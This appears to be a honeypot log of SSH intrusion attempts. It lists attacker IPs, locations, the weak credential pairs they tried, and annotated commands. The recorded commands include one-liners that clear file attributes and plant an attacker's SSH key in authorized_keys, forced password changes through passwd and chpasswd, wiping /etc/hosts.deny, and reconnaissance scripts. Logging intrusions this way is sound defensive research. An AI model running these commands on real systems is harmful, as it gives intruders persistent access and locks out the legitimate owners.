$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_52 (101.32.128.193) β€” Singapore, Singapore Β· 1 session Β· 2 cmds
2026-03-22 21:08 EDT Β· as oracle/admin123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_15 (83.168.110.33) β€” Warsaw, Poland Β· 13 sessions Β· 52 cmds
2026-03-22 19:28 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 13x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—13
$ uname -s -v -n -m 2 > /dev/null Γ—13
$ uname -m 2 > /dev/null Γ—13
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—13
🎭 acai_root_2 (189.34.96.69) β€” CambΓ©, Brazil Β· 1 session Β· 1 cmd
2026-03-22 20:15 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 lantern_root_25 (211.91.150.107) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-22 19:41 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 cowboy_sol (45.33.68.211) β€” Cedar Knolls, United States Β· 24 sessions Β· 24 cmds
2026-03-22 18:25 EDT Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 24x across 24 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—24
🎭 bike_sol_3 (172.233.53.115) β€” Amsterdam, Netherlands Β· 24 sessions Β· 24 cmds
2026-03-22 17:15 EDT Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 24x across 24 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—24
🎭 cipher_root_6 (77.42.88.138) β€” Helsinki, Finland Β· 10 sessions Β· 10 cmds
2026-03-19 14:34 EDT Β· as root/1234, root/123456, root/12345678
hostname discovery β†’ privilege check β†’ history snooping β†’ CPU profiling β†’ OS/kernel identification
$ ps aux | head -10
$ ls -la /
$ pwd
$ hostname Γ—3
↳ hostname discovery
$ whoami
↳ privilege check
$ history | tail -5
↳ history snooping
$ cat /proc/cpuinfo | grep 'model name' | head -1
↳ CPU profiling
$ uname -a
↳ OS/kernel identification
🎭 panda_root_22 (14.103.170.189) β€” Haidian, China Β· 1 session Β· 1 cmd
2026-03-22 04:55 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 phantom_root (212.72.14.244) β€” Seeb, Oman Β· 35 sessions Β· 35 cmds
2026-03-21 14:29 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 56x across 56 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 k-pop_root_5 (121.165.84.80) β€” Seongnam-si, South Korea Β· 1 session Β· 9 cmds
2026-03-21 14:26 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 eagle_root_2 (185.106.96.111) β€” Los Angeles, United States Β· 1 session Β· 1 cmd
2026-03-21 14:14 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 liberty_root_2 (69.169.108.199) β€” Secaucus, United States Β· 35 sessions Β· 35 cmds
2026-03-20 22:55 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 35x across 35 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r-m Γ—35
🎭 liberty_root_16 (47.251.66.137) β€” Minkler, United States Β· 1 session Β· 1 cmd
2026-03-21 13:20 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 rogue_root_46 (101.47.76.57) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-03-21 10:54 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 phantom_root_44 (173.248.245.205) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-03-21 09:59 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 kiwi_root (134.199.168.158) β€” Sydney, Australia Β· 2 sessions Β· 8 cmds
2026-03-21 08:47 EDT Β· as root/123456, root/password
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 silk_root (124.163.255.210) β€” Linfen, China Β· 1 session Β· 20 cmds
2026-03-21 04:13 EDT Β· as test/test
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "test\n3b4xMM6nlDzk\n3b4xMM6nlDzk"|passwd|bash
$ Enter new UNIX password:
$ echo "test\n3b4xMM6nlDzk\n3b4xMM6nlDzk\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wraith_root_47 (196.188.63.205) β€” Addis Ababa, Ethiopia Β· 1 session Β· 20 cmds
2026-03-21 04:04 EDT Β· as test/test
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "test\n8NzqXDswUVGa\n8NzqXDswUVGa"|passwd|bash β†’ Enter new UNIX password
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "test\n8NzqXDswUVGa\n8NzqXDswUVGa"|passwd|bash
$ Enter new UNIX password:
$ echo "test\n8NzqXDswUVGa\n8NzqXDswUVGa\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 burger_sol_4 (172.174.109.244) β€” Boydton, United States Β· 7 sessions Β· 9 cmds
2026-03-20 22:26 EDT Β· as root/1234, root/12345678, root/admin
nproc β†’ grep β†’ hostname discovery β†’ ls β†’ uname β†’ history snooping
$ nproc 2>/dev/null || (grep -c '^processor' /proc/cpuinfo 2>/dev/null) || echo 0 Γ—2
$ grep -c ^processor /proc/cpuinfo 2 > /dev/null Γ—2
$ hostname
↳ hostname discovery
$ ls -la /
$ uname -m 2>/dev/null || echo unknown Γ—2
$ history | tail -5
↳ history snooping
🎭 star_sol_5 (4.236.164.162) β€” Boydton, United States Β· 8 sessions Β· 8 cmds
2026-03-20 22:18 EDT Β· as root/1234, root/12345678, root/admin
hostname discovery β†’ uptime check β†’ privilege check β†’ history snooping β†’ OS/kernel identification β†’ grep
$ hostname Γ—2
↳ hostname discovery
$ uptime Γ—2
↳ uptime check
$ whoami
↳ privilege check
$ history | tail -5
↳ history snooping
$ uname -a
↳ OS/kernel identification
$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' | xargs || echo unknown
🎭 dragon_root_21 (112.67.250.54) β€” Qiongshan, China Β· 2 sessions Β· 2 cmds
2026-03-21 01:18 EDT Β· as root/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—2
🎭 yankee_root_3 (143.110.227.137) β€” Santa Clara, United States Β· 30 sessions Β· 120 cmds
2026-03-20 21:01 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 30x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—30
$ uname -s -v -n -m 2 > /dev/null Γ—30
$ uname -m 2 > /dev/null Γ—30
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—30
🎭 pretzel_root_13 (161.35.28.82) β€” Frankfurt am Main, Germany Β· 1 session Β· 4 cmds
2026-03-20 18:56 EDT Β· as root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 bibimbap_root_5 (104.28.207.62) β€” Yanggok, South Korea Β· 1 session Β· 1 cmd
2026-03-20 18:26 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 tulip_root_13 (51.15.4.95) β€” Haarlem, Netherlands Β· 8 sessions Β· 32 cmds
2026-03-15 21:43 EDT Β· as admin/admin, admin/admin123, pi/raspberry
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 ghost_root_32 (165.154.22.233) β€” Hong Kong, Hong Kong Β· 1 session Β· 19 cmds
2026-03-20 15:27 EDT Β· as root/123456
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:S7r8fraFfRmO"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_71 (210.79.191.18) β€” Cicurug, Indonesia Β· 1 session Β· 19 cmds
2026-03-20 15:21 EDT Β· as root/123456
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:2mv6MoK9eFvW"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 beefeater_root_3 (207.249.96.38) β€” London, United Kingdom Β· 1 session Β· 19 cmds
2026-03-20 15:17 EDT Β· as root/123456
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:y5lbWhdPrBo8"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 silk_sol (8.138.226.108) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-03-20 09:09 EDT Β· as root/pass123
echo
$ echo -e "\x6F\x6B"
🎭 rogue_root_47 (213.154.77.61) β€” Dakar, Senegal Β· 1 session Β· 20 cmds
2026-03-19 22:25 EDT Β· as deploy/deploy123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "deploy123\nF6Myqetgi7YL\nF6Myqetgi7YL"|passwd|bash
$ Enter new UNIX password:
$ echo "deploy123\nF6Myqetgi7YL\nF6Myqetgi7YL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 specter_sol (31.145.191.148) β€” Δ°zmit, TΓΌrkiye Β· 2 sessions Β· 2 cmds
2026-03-19 20:27 EDT Β· as root/123456, root/pass123
echo
$ echo -e "\x6F\x6B" Γ—2
🎭 dragon_root_22 (123.182.62.25) β€” Shijiazhuang, China Β· 1 session Β· 1 cmd
2026-03-19 21:32 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 lantern_root_26 (120.48.52.177) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-19 19:37 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
